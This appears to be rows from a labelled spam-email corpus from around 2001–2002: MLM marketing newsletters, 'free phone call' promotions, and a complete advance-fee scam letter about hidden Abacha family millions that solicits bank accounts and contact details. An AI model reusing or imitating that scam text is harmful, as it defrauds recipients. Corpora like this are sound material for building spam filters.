fun, easy, and it's a great opportunity to give some help and receive an informative review of your own site. Plus, you can also win a chance to have y our site chosen for a free website redesign. One randomly drawn winner each month! SITES TO REVIEW: Site #141: http://www.floridarental.co.uk Carol Hall carol@floridarental.co.uk Site #142: http://www.sharesmiles.com James Garrison webmaster@sharesmiles.com Site #143: http://www.selltheworldonline.com/default2.asp?ref=1282 gofreet@yahoo.com.au Site #144: http://www.tpcenterprises.com/ info@tpcenterprises.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SITE REVIEWED! Comments on Site #140: http://www.prosperouswomen.bizland.com/masterminding Margarete MDegaston@aol.com ~~~~ I really love clean, uncluttered, easy to read and navigate sites like these two. They are both very attractive and well presented. In my opinion, the book site could have been a little softer, or with similar characteristics to the next site, preparing me for the site that it links to, and having a relationship to it. What I did feel most, was that I was expecting something related to the url ""prosperouswomen"" to come up, as this ""word"" was what caught my attention and caused me to click in the first place. I feel the book page should be a tool for the ""PW"" page and not a preface to it. The main site should be the PW and the book site could be a link or a popup or an additional page. (You need to take e out of changing on the book page.) With these: Find out how you can receive the free book. Email us at directions4U@aol.com and For this and a number of other free books on networkmarketing write to us at directions4U@aol.com I would have liked these to be clickable links, rather than copy and paste. Very nice job on the sites, Margarete ... I really liked them. (and I have ordered the book!) ~~~~ I waited over 70 seconds and had yet to see the first page. Could not determine if this was related to volume of graphics or where we were headed. ~~~~ Very clear, focused site with one page promoting a free book. Don't underline text unless it's a link, or somehow distinguish between the links and that which is not. I finally figured out the logo for properouswomen was also linked so I checked that out also. I think you need to make that link more noticeable, and also link to your bizland site. If you used a form for ordering the book instead of sending a request message to an aol email address you would get more requests, and also might be able to automate this process. ~~~~ I loved this site because it was clear, simple and to the point. It also peaked my curiosity and I followed the link supplied. If only other sites we so simplistic! ~~~~ With the masterminding site, the first sentence 'Major Impact on Your Life' is incomplete. There were also run-on sentences in the copy, even though the copy is quite effective. The box with ""Life Changeing Insight"" needs the 'e' taken out of 'changeing', and it looked like the text could have been extended to go from side to side. In the first paragraph '... an amazing 100 year old text...' felt like it should be 'book' or 'secret' instead of using the word 'text'. Also it would add credibility to say where or how or by whom it was discovered. The message is clear, the site design simple. Two things that would make the site more effective (on getting people to request the book) would be to say if this is an ebook, how long it is, in what format it is, etc. and then also using a form for people to order instead of emailing. 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BannersGoMLM.com ProfitBanners.com CashPromotions.com MySiteInc.com TimsHomeTownStories.com FreeLinksNetwork.com MyShoppingPlace.com BannerCo-op.com PutPEEL.com PutPEEL.net SELLinternetACCESS.com Be-Your-Own-ISP.com SeventhPower.com ______________________________________________________ Today's Special Announcement: Right now, this week only - We have left over inventory, it's unsold, but not for long.  If you could use 1 million banner ads all targeted and dirt cheap go here today. This package is guaranteed!! It's tough to fail when you can show your ad to 1,000 people for less than a buck! A free custom banner will be made for you with this deal! http://BannersGoMLM.com/promo/million-nl.html ______________________________________________________ >> Ideas, Tips, & Information            R. DeLong: More on the SirCam virus >> Q & A    ANSWERS:      - What can I do about my computer freezing?            J. Shofstall: Many factors in the operating system that cause conflicts >> MEMBER SHOWCASES >> MEMBER *REVIEWS*      - Sites to Review: #141, #142, #143  & #144!      - Site #140 Reviewed! ______________________________________________________ >>>>>> Ideas, Tips, & Information <<<<<< Do you have a special software program you find helpful, or even absolutely necessary? A neat tip that makes your online life a little easier? Share it and help other members save time, frustration, and a few steps in the learning curve. Submit your ideas, tips and information to MyInput@AEOpublishing.com From:  Richard DeLong   - homeaffiliate@mail.com Subject:  More on the SirCam virus In Exchange Issue #440, JT wrote... >It's called the SirCam virus, and when it spreads, it sends >an apparently random file from the harddrives of infected >computers along with it. ANY file on your machine could >be copied and sent to hundreds of other users. I also have received both the virus and email on how to get rid of it.  Luckily I don't open ANY attachments, unless I'm expecting them and then am still very careful. Here's the ways I was told to get rid of the thing: One Fix Tool: Download fix_sircam.com and run the file. It will scan Drive C:\ and subfolders and runs in DOS. http://www.antivirus.com/vinfo/security/fix_sircam.com Another Trojan Fix Tool http://www.sarc.com/avcenter/FixSirc.com The fix tool will run from your desktop and will ""automatically"" rid your computer from the SirCam Trojan and clean up an entries from your registry files. After running either fix tool -- reboot your system. Hope this helps! Richard homeaffiliate@mail.com       >>>>>> QUESTIONS & ANSWERS <<<<<< Submit your questions & answers to MyInput@AEOpublishing.com ANSWERS: From:  WonderPaint   - support@wonderpaint.com Subject:  Many factors in the operating system that cause conflicts >From:  NICETY7078@aol.com >Subject:  What can I do about my computer freezing? (Issue #439) > >My computer freezes when I use AOL and sometimes when >I'm just using the basic functions of Windows 98. My >defragmentor  keeps starting over and over and my scan >disk never finds anything wrong, but there has to be. Dear Nicety, As regards your problem with Windoze freezing and locking up your computer I'm afraid your ""SOL"" as finding a true solution. There are many factors in the operating system that cause conflicts resulting in a locked machine.  One major problem is that many programs don't release memory when you exit.  When working in Windoze I've always taken the approach of rebooting on a regular basis before I've had problems, especially if I've opened and closed several different applications. Back in August 1999 John Kirch, a Microsoft Certified Professional, wrote an extensive article discussing the merits of a *nix operating system vs Windows NT.  You can read it at http://www.unix-vs-nt.org/kirch/.  What was true back then is even truer today.  Every current ""worm"" you are hearing about on the news lately occurs in Windoze operating systems.  So, IMHO, the solution to your machine locking-up is to change the OS.  Running Linux, my machine has been up for periods of weeks at a time with no need to reboot.  In over a year of running I can count the lock-ups on one hand and have fingers left over. I have more software installed than I ever had in Windoze ... and the price is right -- free. Jim Shofstall webmaster@wonderpaint.com http://www.wonderpaint.com ______________________________________________________ >>>>>> WEBSITE SHOWCASES <<<<<< Examine carefully - those with email addresses included WILL trade links with you, you are encouraged to contact them. And, there are many ways to build a successful business. Just look at these successful sites/programs other members are involved in.. ------------------------------------------------- Stop! - Find Out If You Qualify... to Make $339-$527 A Week On-line or Off-line... At Home On Your Computer. mailto:wealthsolo@infogeneratorpro.com Free helpful file reveals Qualifications. ------------------------------------------------- ""It's The Most D-A-N-G-E-R-O-U-S Book on the Net"" Email 20,000 Targeted Leads Every Single Day! Slash Your Time Online to just 1-2 Hours Daily! Build 11 Monthly Income Streams Promoting ONE URL! Start building YOUR Business - NOT everyone elses! http://www.roibot.com/w.cgi?R8901_bd_shwc ------------------------------------------------- Start making money online right now Guaranteed! Look at what you get for only $24.95:  (100% money back guarantee)  - Our exclusive money making internet marketing kit.  - Your own cash creating website ready to make money now.  - Live support ready to set up your website right now. Check it out at http://by.advertising.com/1/c/22555/26593/81371/81371 ------------------------------------------------- Attention All Web Marketers-$30k-$100k CASH This Year No experience needed, No product to sell. The real go getters can make $100,000.00 CASH,in their first month This is very powerful, contact me TODAY ycon@home.com or goto: http://www.makecashonline.com  GET EXCITED :) Trade Links - mailto:ycon@home.com ------------------------------------------------- If you have a product, service, opportunity and/or quality merchandise that appeals to people worldwide, reach your target audience! For a fraction of what other large newsletters charge you can exhibit your website here for only $8 CPM. Why?... Because as a valuable member we want you to be successful! Order today - Exhibits are limited and published on a first come, first serve basis. http://bannersgomlm.com/ezine ______________________________________________________ >>>>>> MEMBER *REVIEWS* <<<<<< Visit these sites, look for what you like and any suggestions you can offer, and send your critique to MyInput And, after reviewing three sites, your web site will be added to the list! It's fun, easy, and it's a great opportunity to give some help and receive an informative review of your own site. Plus, you can also win a chance to have y our site chosen for a free website redesign. One randomly drawn winner each month!   SITES TO REVIEW: Site #141:  http://www.floridarental.co.uk Carol Hall carol@floridarental.co.uk Site #142:  http://www.sharesmiles.com James Garrison webmaster@sharesmiles.com Site #143:  http://www.selltheworldonline.com/default2.asp?ref=1282 gofreet@yahoo.com.au Site #144:  http://www.tpcenterprises.com/ info@tpcenterprises.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SITE  REVIEWED! Comments on Site #140:  http://www.prosperouswomen.bizland.com/masterminding Margarete MDegaston@aol.com ~~~~ I really love clean, uncluttered, easy to read and navigate sites like these two. They are both very attractive and well presented.  In my opinion, the book site could have been a little softer, or with similar characteristics to the next site, preparing me for the site that it links to, and having a relationship to it. What I did feel most, was that I was expecting something related to the url  ""prosperouswomen"" to come up, as this ""word"" was what caught my attention and caused me to click in the first place. I feel the book page should be a tool for the ""PW"" page and not a preface to it.  The main site should be the PW and the book site could be a link or a popup or an additional page. (You need to take e out of changing on the book page.) With these: Find out how you can receive the free book. Email us at directions4U@aol.com and For this and a number of other free books on networkmarketing write to us at directions4U@aol.com I would have liked these to be clickable links, rather than copy and paste. Very nice job on the sites, Margarete ... I really liked them. (and I have ordered the book!) ~~~~ I waited over 70 seconds and had yet to see the first page. Could not determine if this was related to volume of graphics or where we were headed. ~~~~ Very clear, focused site with one page promoting a free book. Don't underline text unless it's a link, or somehow distinguish between the links and that which is not. I finally figured out the logo for properouswomen was also linked so I checked that out also. I think you need to make that link more noticeable, and also link to your bizland site. If you used a form for ordering the book instead of sending a request message to an aol email address you would get more requests, and also might be able to automate this process. ~~~~ I loved this site because it was clear, simple and to the point. It also peaked my curiosity and I followed the link supplied. If only other sites we so simplistic! ~~~~ With the masterminding site, the first sentence 'Major Impact on Your Life' is incomplete. There were also run-on sentences in the copy, even though the copy is quite effective. The box with ""Life Changeing Insight"" needs the 'e' taken out of 'changeing', and it looked like the text could have been extended to go from side to side. In the first paragraph  '... an amazing 100 year old text...' felt like it should be 'book' or 'secret' instead of using the word 'text'.  Also it would add credibility to say where or how or by whom it was discovered. The message is clear, the site design simple. Two things that would make the site more effective (on getting people to request the book) would be to say if this is an ebook, how long it is, in what format it is, etc. and then also using a form for people to order instead of emailing. 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I told her to ask her lawyer that too. Never heard back from her. The bottom line is that if a crook wants to get your info, it is available in many places. Have a good day. -- Terry http://mysiteinc.com/tfn/lfi.html ~~~~~~~~~ Yes. I believe that the risk is out there but minimal. However, we can cut those risks by a few simple precautions. Most importantly, never give any personal information at a site that is not secure, always look for the lock in thetask bar or a Veri secure sign or others. Also, never leave your information stored at a site. I put in my credit information in each time instead of having an account in standing, a little more time but less risks involved! Of course, I mostly shop at my own Internet mall and I know how safe it is there, credit card info is deleted in a matter of seconds. Overall, I believe the web to be a safe and very fruitful new frontier! -- Catherine F. http://www.catco.nexgenmall.com ~~~~~~~~~ Yes. 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A free custom banner will be made for you with this deal! Click Here!     You are a member in at least one of these programs - You should be in them all! BannersGoMLM.com ProfitBanners.com CashPromotions.com MySiteInc.com TimsHomeTownStories.com FreeLinksNetwork.com MyShoppingPlace.com BannerCo-op.com PutPEEL.com PutPEEL.net SELLinternetACCESS.com Be-Your-Own-ISP.com SeventhPower.com Information to provide you with the absolute best low and no cost ways of providing traffic to your site, helping you to capitalize on the power and potential the web brings to every Net-Preneur. --- This Issue Contains Sites Who Will Trade Links With You! --- Top Ten Most Important Things to Do TodayThis is my list. They're the ones I've selected for my life at present. Consider them suggestions for yourself--ideas to help you generate your own top ten list. By getting clear on and acting upon YOUR most important steps, you'll be moving toward and experiencing your highest and best.   1. Practice gratefulness. Reflect upon the things in my life for which I'm grateful. If I appreciate more of what I have, I will have even more to appreciate. 2. Write out my three most important goals and visualize how my life will be when I have achieved them. FEEL it. EXPERIENCE it in as much sensory detail as I can possibly imagine. 3. Take some action steps toward each of the three goals. 4. Exercise my body and monitor carefully what I eat and drink. Reduce fat and caloric intake while expending more calories. Eat only small amounts at one time. 5. Read something educational, inspirational or entertaining--preferably all three. 6. Meditate. Empty my conscious mind and listen to the Super-conscious. 7. Have fun doing something I love to do. Experience joy. 8. Write something--anything. If not an article or part of my book, then write in my journal. 9. Perform some act of kindness. Do a thoughtful, magnanimous thing--anonymously if possible. 10. Finish something. Do something I can call complete. Bonus Step: Make something work better -- Practice ADS: Automate, Delegate and Systemize.   Copyright 2001 Michael Angier & Success Networks International. ------------------------------------- About the Author... Michael Angier is the founder and president of Success Networks. Success Net's mission is to inform, inspire and empower people to be their best--personally and professionally. Download their free eBooklet, KEYS TO PERSONAL EFFECTIVENESS from http://www.SuccessNet.org/keys.htm. Free subscriptions, memberships, books and SuccessMark Cards are available at http://www.SuccessNet.org Member ShowcaseExamine carefully - Those with email addresses included WILL TRADE LINKS with you... You are encouraged to contact them. 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Use our PROVEN, DUPLICATABLE methods to get in on this EXPLODING opportunity now!  Visit us at: http://www.Abundance-Group.com to collect your FREE offers! Trade Links - Gina@AbundanceGroup.com --------------------------------------------------------------------- Life Without Debt! What would you do with 5,000 10,000 20,000 100,000? A ""Dream Team"" of heavy hitters are gathering to promote Life Without Debt. Get in NOW to receive Massive spillover in the 2x matrix. http://trafficentral.com/lwd/index.htm ------------------------------------------------- If you have a product, service, opportunity or quality merchandise that appeals to people worldwide, reach your targeted audience! For a fraction of what other large newsletters charge you can exhibit your website here, and trade links for only $8 CPM.  Compare that to the industry average of $10-$15 CPM. Why?... Because as a valuable member we want you to be successful! Order today - Showcases are limited and published on a first come, first serve basis. For our secure order form, click here: http://bannersgomlm.com/ezine Commentary Quick TipsWebsite Recommendation: Here is a site with some useful tips. Example - test your Internet connection speed. http://www.camscape.com/tips/ I doubled my DSL speed with just one minor tweak suggested by one of the links given. Submitted by F. Knopke imco@telusplanet.net ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Do you have a marketing hint, product recommendation, or online gem of wisdom you'd like to share with your fellow subscribers? With your 2 - 10 line Quick Tip include your name and URL or email address and  we'll give you credit for your words of wisdom. And, if you're looking for free advertising, this isn't the place - check out the 'One Question Survey' below for a great free advertising offer. Send it in to mailto:Submit@AEOpublishing.com with 'Quick Tip' in the Subject block. Win A FREE Ad In Community & CommentaryTo keep this interesting, how about this, every month we'll draw a name from the replies and that person will win one Sponsorship Showcase in the Community & Commentary, for FREE. That's a value of over $800.00! Respond to each weekly survey, and increase your chances to win with four separate entries.  QUESTION OF THE WEEK (08/03/01)...  No right or wrong answers, and just by answering  you are entered to win a Sponsorship Showcase  - Free!  ~~~ How many email messages do you get per day? ~~~ Less than 40            mailto:one@AEOpublishing.com 41-100                        mailto:two@AEOpublishing.com 101-300                    mailto:three@AEOpublishing.com 301-1000                    mailto:four@AEOpublishing.com More than 1000        mailto:five@AEOpublishing.com To make this as easy as possible for you, just click on the hyperlinked answer to send us an e-mail  - you do not need to enter any information in the subject or body of the message. ** ADD YOUR COMMENTS!  Follow directions above and add your comments in the body of the message, and we'll post the best commentaries along with the responses. You will automatically be entered in our drawing for a free Sponsorship ad in the Community & Commentary. Please respond only one time per question.  Multiple responses from the same individual will be discarded. Last Weeks's Survey Results & Comments  (07/27/01)  ~~~ Are you concerned about identity theft online? ~~~ yes   81% no    19% Comments: ~~~~~~~~~ No. This is a funny thing to me.  I hear about so many people being super scared to give out their SS#.  Well folks, I can get your SS# for 50 cents.  Give me a name and address and about 90% of the time I can get the number. We are so worried about putting our credit card number on the net, but we will give the card to a waiter or waitress and they take it out of our sight for 10 minutes.  They could do who knows what with the CC number.  I once had a person tell me that her lawyer said that she should never fax a copy of her check to anyone (checks by fax) because then that person (me) would have her account info and could write a check out for thousands of dollars.  I told her to just send it to me then and she said that was OK.  Then I asked her to tell me what the difference was between the original check and a fax copy.  I told her to ask her lawyer that too.  Never heard back from her. The bottom line is that if a crook wants to get your info, it is available in many places.  Have a good day. --  Terry    http://mysiteinc.com/tfn/lfi.html ~~~~~~~~~ Yes. I believe that the risk is out there but minimal. However, we can cut those risks by a few simple precautions. Most importantly, never give any personal information at a site that is not secure, always look for the lock in thetask bar or a Veri secure sign or others. Also, never leave your information stored at a site. I put in my credit information in each time instead of having an account in standing, a little more time but less risks involved! Of course, I mostly shop at my own Internet mall and I know how safe it is there, credit card info is deleted in a matter of seconds. Overall, I believe the web to be a safe and very fruitful new frontier! --  Catherine F.      http://www.catco.nexgenmall.com ~~~~~~~~~ Yes. I had phenomena for 6 weeks and did not realize that my ISP was shut down at the same time because the owner was in a bad car accident.  I had a full service account. My Internic fees were not paid so my WEB Address went unprotected.  A Russian stepped in; paid the fees; and, promptly assigned my www.SchoolOfGeomatics.com address to a porn shop.  Thus, I lost 4 years of building up 1st place rankings on 12 Search Engines and 2nd place on 8 more.  This set me back about 4  months: I believe I lost a minimum of $50,000.   I have also been hit with viruses about 10 times.  The first time I lost almost 4 months of work.  Now, I back up often enough to not to lose so much time.  This is also Internet theft.  These people are nothing but out and out criminals and should spend years behind bars.   Customers are well protected from credit card theft; however, merchants can lose a lot of money.  I sell only by purchase order and certified or registered company checks. --  Peter S.    http://www.GSSGeomatics.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~                JULY WINNER ANNOUNCED! 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I had difficulty finding my way around your site and couldn't understand its purpose until I had gone three pages into it. Maybe it would be a little more useful to make your front page navigation a little less confusing? The ""next page"" tab is right next to one that says ""bookmark this page"" - no information until you mouseover the tab to tell you you are entering the site. I felt a little overwhelmed with glitz - animated gif's overemphasized words etc and not enough information on your openning page. ~~~~ I also surprised to see a site for Florida rentals with a URL ending with .uk.  Recommendations for this site. 1. On the home page a person's eyes are drawn first to the animation and red text on the yellow background, missing the first sentence. Remove the animation and add more details to this important introduction. Instead of using the 'click here' button, just have a text link following directly after the introduction. 2. On the second page, have all your links the same color, and all your text a different color. Don't confuse people on what is a link and what they need to read. Underlined text on the internet can often be confused for a link, expecially when it is in the normal blue link color.  Having the important links in red and with the flashing arrow is overkill. 3. On the rest of the site, you have good information, but you don't need the top menu bar when using the framed menu and the pages are all untitled. I hope you don't think I'm being too harsh, I just know you want the best site you can have and I think these changes will make a world of difference.  Once a person gets into the site you have the information organized and complete. I even wanted to come and stay! ~~~~ The animations make this site look amateurish from the beginning.  The flashing ""Bookmark This Site"" makes me want to leave instead of come back!  The font Comic Sans MS also looks very kiddy.  Much could be done to improve this site. ~~~~ I was confused by this site. There are four animated gifs on the first screen, and so my eyes kept flicking back and forth between them. I read over the paragraph of information, but didn't know where to click. I finally figured out the 'click here' button should have been up by the text and that is where I should go. On the 2nd page, again too many flashing gifs.  Other than that, the 2nd page was much easier to find my way around. One suggestion, if you're using frames it is unneccessary to have the menu of links listed both on one frame and at the top of the page as was shown on the 'special offers' page. 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Alternatively, you can realize more your ideas to develop, more features to add to your existing sites, and with low costs: from $12, and an average of $18 an hour. I have put links to their works at www.antee.com/samples_and_faq.html As for reliability, I just saw, how carefully they hand-picked their specialists, and under what tight management they do their projects. So, from past experience, it was almost always possible to meet deadlines. Also, communication is properly thought-out: a consultant is online in ICQ and other instant messengers almost each day, also their company has local consultants in many states throughout the USA, in Europe and Australia. So, what do you think? A possibility for cooperation? Thank you very much, Oksana Svetlova. oksana@antee.com PS. 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It is also pertinent to add that I am using an assumed name, and free web based email addresses for my personal protection . In order to give you a background of this ""business transaction"", please check the website http://news.ft.com/ft/gx.cgi/ftc?pagename=View&c=Article&cid=FT3PQPP45QC Before proceeding further, please permit me to give you more background on the Abacha family ""MILLIONS"" as it is now known; please check the following websites http://www.oneworld.org/ips2/aug98/17_29_059.html http://www.odiousdebts.org/odiousdebts/index.cfm?DSP=content&ContentID=974 I have taken some pains to give you readings on the Abacha Family fortunes; They are of course a matter of public record, and CONCLUSIVELY PROVES INDEED THAT GENERAL SANI ABACHA TRANSFERRED BILLIONS OF DOLLARS OUT OF NIGERIA ! However, it is conceivable and even logical that NOT ALL OF THE FORTUNE HAS BEEN ""DISCOVERED"" OR FROZEN BY FOREIGN GOVERNMENTS IN SYMPATHY AND ON THE REQUEST OF THE CURRENT GOVERNMENT OF NIGERIA. AND THIS IS A FACT! The truth of the matter is that much more of the Abacha fortunes are still hidden , their location a closely guarded secret; Her Excellency, Hajia Abacha,widow of Gen. Sani Abacha, ex-head of State of Nigeria, who died June 8, 1998 and her immediate family are under house arrest in Nigeria. It is therefore my job to search out a reliable person, a complete stranger to help transfer/secure a negotiated amount from the still hidden millions of Dollars. The right person must pass a background check in order to avoid my being betrayed to the AUTHORITIES, as happened in the past. It is now obvious why I will be using an assumed name for the moment. All precautions will be taken to avoid leakages. Though I am using the internet which is largely unsafe, as soon as I get a ""reliable"" candidate, I will introduce security measures for every body's protection. For the moment I am simply a ""Contact Person"" for the REAL Abacha family. In sum, the person I am looking for is an individual or corporate body that is able to provide one or more Bank Accounts into which arrangements will be made to transfer US$5,000,000.00 to US$10,000,000.00 every week; The routine, periodic transfers in small instalments are designed to avoid raising suspicion in the wrong quarters. These transfers will be secure and properly legal, and with all proper bank documentation. The right person may need to establish fresh/new RECEIVING BANK accounts free from legal or financial encumbrances. Persons with bad credit rating , undischarged bankrupts, companies in receivership and minors need not reply; Because of the stature and confidentiality of this proposed transaction, a successful candidate will receive 25% of all transfers. Other Conditions, including maximum secrecy and confidentiality apply. If you are interested in helping this family, and if you can meet our strict conditions, please reply to all email addresses listed below. In your reply please include your phone, fax and contact address. In the event you do not meet our conditions after a brief back ground check, you will be communicated accordingly. Please before replying, take your time to go through all the links and investigate thoroughly all the foregoing; this is a serious proposal, despite the medium in which you are receiving my message. Looking forward to your reply, Yours Sincerely, Alhaji Abubakar Please Reply to: (1) abacha10@africamail.net (2) abacha10@mail2africa.com (3) alhajiabubakar10@email.com --=====================_889472414==_ Content-Type: text/html Content-Transfer-Encoding: 8bit Your Attention, Please PLEASE REPLY ONLY TO: (1) abacha10@africamail.net (2) abacha10@mail2africa.com (3) alhajiabubakar10@email.com I have very confidential and urgent business to transact with you. But first permit me to say that I do not know you; you are receiving this mail via blind carbon copy of email addresses which I obtained from a simple internet search. You are therefore NOT obliged to reply. However, if you do, and the conditions are right, you will be amply compensated. It is also pertinent to add that I am using an assumed name, and free web based email addresses for my personal protection . In order to give you a background of this ""business transaction"", please check the website http://news.ft.com/ft/gx.cgi/ftc?pagename=View&c=Article&cid=FT3PQPP45QC Before proceeding further, please permit me to give you more background on the Abacha family ""MILLIONS"" as it is now known; please check the following websites http://www.oneworld.org/ips2/aug98/17_29_059.html http://www.odiousdebts.org/odiousdebts/index.cfm?DSP=content&ContentID=974 I have taken some pains to give you readings on the Abacha Family fortunes; They are of course a matter of public record, and CONCLUSIVELY PROVES INDEED THAT GENERAL SANI ABACHA TRANSFERRED BILLIONS OF DOLLARS OUT OF NIGERIA ! However, it is conceivable and even logical that NOT ALL OF THE FORTUNE HAS BEEN ""DISCOVERED"" OR FROZEN BY FOREIGN GOVERNMENTS IN SYMPATHY AND ON THE REQUEST OF THE CURRENT GOVERNMENT OF NIGERIA. AND THIS IS A FACT! The truth of the matter is that much more of the Abacha fortunes are still hidden , their location a closely guarded secret; Her Excellency, Hajia Abacha,widow of Gen. Sani Abacha, ex-head of State of Nigeria, who died June 8, 1998 and her immediate family are under house arrest in Nigeria. It is therefore my job to search out a reliable person, a complete stranger to help transfer/secure a negotiated amount from the still hidden millions of Dollars. The right person must pass a background check in order to avoid my being betrayed to the AUTHORITIES, as happened in the past. It is now obvious why I will be using an assumed name for the moment. All precautions will be taken to avoid leakages. Though I am using the internet which is largely unsafe, as soon as I get a ""reliable"" candidate, I will introduce security measures for every body's protection. For the moment I am simply a ""Contact Person"" for the REAL Abacha family. In sum, the person I am looking for is an individual or corporate body that is able to provide one or more Bank Accounts into which arrangements will be made to transfer US$5,000,000.00 to US$10,000,000.00 every week; The routine, periodic transfers in small instalments are designed to avoid raising suspicion in the wrong quarters. These transfers will be secure and properly legal, and with all proper bank documentation. The right person may need to establish fresh/new RECEIVING BANK accounts free from legal or financial encumbrances. Persons with bad credit rating , undischarged bankrupts, companies in receivership and minors need not reply; Because of the stature and confidentiality of this proposed transaction, a successful candidate will receive 25% of all transfers. Other Conditions, including maximum secrecy and confidentiality apply. If you are interested in helping this family, and if you can meet our strict conditions, please reply to all email addresses listed below. In your reply please include your phone, fax and contact address. In the event you do not meet our conditions after a brief back ground check, you will be communicated accordingly. Please before replying, take your time to go through all the links and investigate thoroughly all the foregoing; this is a serious proposal, despite the medium in which you are receiving my message. Looking forward to your reply, Yours Sincerely, Alhaji Abubakar Please Reply to: (1) abacha10@africamail.net (2) abacha10@mail2africa.com (3) alhajiabubakar10@email.com --=====================_889472414==_--",1,1 Free Phone Calls! ,yyyy@spamassassin.taint.org,"Thu, 28 Mar 2002 05:01:02 +0000",Welcome to www.internationafreecall.com,"Thank you for signing up for the Internationalfreecall.com mailing list. Soon we will show you how to make free international and free domestic phone calls. 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_______________________________________________ Avfs mailing list Avfs@csibe.fazekas.hu http://www.fazekas.hu/mailman/listinfo/avfs",1,1 Free Phone Calls! ,users@spamassassin.taint.org,"Fri, 29 Mar 2002 05:01:01 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello Unlimited International Telephone Call Marketer, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1543",1,1 Free Phone Calls! ,yyyy@spamassassin.taint.org,"Fri, 29 Mar 2002 05:01:01 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello Unlimited International Telephone Call Marketer, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1676",1,1 Free Phone Calls! ,yyyy@netnoteinc.com,"Fri, 29 Mar 2002 05:01:01 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello Unlimited International Telephone Call Marketer, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 24-48 hours or on your designated trial date and time. Please try dialing the access number you found on your reseller's web page at: http://www.internationalfreecall.com If you ordered a flat-rate domestic calling product using a 1-800 toll-free access number, your service will be operating within 1-2 work days. Please try dialing 1-866-865-4548. In either case, when your service is switched on, you will hear a voice ask you to dial the number you are calling. You must dial 1+area code+7 digit number followed by # to make any calls: local or long distance. Example - To call www.internationalfreecall.com, you would dial the following after dialing your access number and listening for the voice: 1-410-608-8178# Please use this service for all your calling and you will never pay more than your monthly fee again. There are no taxes or surcharges, so dial away! Finally, I recommend entering the access number into your speed dial settings on your telephone. This will make your service quicker and easier to use, and thus more enjoyable. If you have any questions, please contact us for more information. In addition, if you need product enhancements like 3-way calling, portable calling cards, international calling products, or marketing tools, please visit: http://www.internationalfreecall.com In the meantime, the other network on this free calling promotion is OPEX, which is offering 100 minutes of free long distance for trying their program. Opex's usual rates are 4.5 cents per minute for domestic calls, with great international rates, too! For more information on OPEX, or to sign up, please click below: http://cognigen.net/opex/main.cgi?lietuva To unsubscribe from this mailing list, please click on: http://www.internationalfreecall.com/cgi-bin/aefs/subscribe.cgi?user=info&listid=1.list&id=1680",1,1 Free Phone Calls! ,users@spamassassin.taint.org,"Fri, 29 Mar 2002 05:01:01 +0000",Re: Your Opportunity at http://iiu.taint.org/pipermail/iiu/2000-November/000644.html,"Hello, I found your opportunity posted at: http://iiu.taint.org/pipermail/iiu/2000-November/000644.html If you want additional places to advertise your opportunity, plus get a free email follow-up system to process your replies, visit: http://www.newslist.net or just reply to this message. Note: You will automatically be removed from this list if you DO NOT reply to this message. Replying will re-subscribe you to our marketing tips newsletter. info@newslist.net",1,1 Free Phone Calls! ,yyyy@netnoteinc.com,"Fri, 29 Mar 2002 05:01:01 +0000",Re: Your Opportunity at http://iiu.taint.org/pipermail/iiu/2000-November/000608.html,"Hello, I found your opportunity posted at: http://iiu.taint.org/pipermail/iiu/2000-November/000608.html If you want additional places to advertise your opportunity, plus get a free email follow-up system to process your replies, visit: http://www.newslist.net or just reply to this message. Note: You will automatically be removed from this list if you DO NOT reply to this message. Replying will re-subscribe you to our marketing tips newsletter. info@newslist.net",1,1 Free Phone Calls! ,yyyy@spamassassin.taint.org,"Sun, 31 Mar 2002 05:01:02 +0000",Your First 100 Free Minutes of Long Distance! Your First 100 Free,"Hello ~name~, If you ordered a flat-rate domestic calling product or a 20 minute free trial using a local access number, your service will be operating in about 